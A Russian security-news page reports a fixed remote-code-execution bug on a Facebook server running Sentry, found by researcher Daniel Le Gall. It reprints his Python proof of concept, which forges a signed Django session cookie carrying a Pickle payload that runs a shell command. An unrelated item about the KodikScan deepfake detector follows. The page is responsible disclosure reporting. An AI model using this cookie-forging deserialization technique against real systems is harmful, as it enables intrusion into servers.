Баг на сервере Facebook позволял удаленно запустить вредоносный код

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Разработчики Facebook исправили серьезный баг, который мог привести к удаленному выполнению кода. Сама уязвимость была обнаружена на одном из серверов интернет-гиганта, о чем сообщил исследователь безопасности Дэниел Ле Галл, также известный под псевдонимом «Blaklis».

Ле Галл, работающий в SCRT Information Security, в пятницу заявил, что ему выплатили $5000 за сообщение о проблеме безопасности.

Суть уязвимости в том, что злоумышленник может выполнить произвольные команды, используя вредоносные файлы cookie.

Несмотря на то, что подобные бреши обычно довольно опасны, эксперт подчеркнул, что с помощью этого бага нельзя было получить пользовательские данные. Разработчики устранили уязвимость в этом месяце, еще до того, как была опубликована информация о ее наличии.

«Blaklis» утверждает, что недостаток был найден на одном из серверов Facebook, где было запущено программное обеспечение для сбора логов Sentry.

«Само приложение было крайне нестабильным, особенно в отношении функции сброса пароля пользователя», — объясняет специалист.

В итоге Ле Галлу удалось найти в логах детали обработки cookie, а также подробности использования приложением протокола Pickle, который может быть уязвим для различного рода манипуляций. Используя все вышеозначенные данные, эксперт мог обработать файлы cookie, которые могли запускать команды на машине.

Исследователь опубликовал PoC-код, который является небольшим файлом cookie:

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()
print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

В России разработали бесплатный детектор для поиска дипфейков

Компания «Архитех ИИ» разработала инструмент KodikScan для проверки цифрового контента на признаки генерации или обработки с помощью искусственного интеллекта. Сервис будет доступен бесплатно и рассчитан на пользователей, журналистов, блогеров и редакции, которым нужно быстро понять, насколько материал похож на фейк.

KodikScan умеет анализировать изображения, видео, аудио и текст. Система ищет скрытые признаки ИИ-генерации: визуальные паттерны, структуру шума, динамику кадров в видео, особенности голоса в аудио и статистические закономерности в тексте.

После этого инструмент оценивает вероятность того, что контент был создан или изменён нейросетью.

По словам разработчика ИИ-среды Kodik Рафаэля Гильмурахманова, сервис задумывался как инструмент для цифровой гигиены. Он отметил, что фейковый контент всё чаще используют в мошеннических схемах: например, злоумышленники могут присылать «кружочки» или видеосообщения якобы от знакомых с просьбой перейти по ссылке или перевести деньги.

Для обычных пользователей такая проверка может стать способом не повестись на подделку. Для СМИ и авторов пабликов — дополнительным фильтром перед публикацией спорных материалов. Особенно это актуально на фоне обсуждения инициатив по превентивной блокировке резонансных дипфейков до проверки их достоверности.

Разработчики также планируют предоставить KodikScan журналистам российских СМИ для тестирования в рабочих задачах. Воспользоваться сервисом может любой желающий на сайте scan.kodik.ru: достаточно загрузить файл и получить оценку вероятности применения ИИ.

По данным «Архитех ИИ», на тестах инструмент определял признаки генерации искусственным интеллектом с точностью 98,03%. При этом, как и с любыми подобными системами, результат стоит воспринимать не как окончательный приговор, а как подсказку: если сервис видит признаки ИИ, материал точно стоит проверить внимательнее.

RSS: Новости на портале Anti-Malware.ru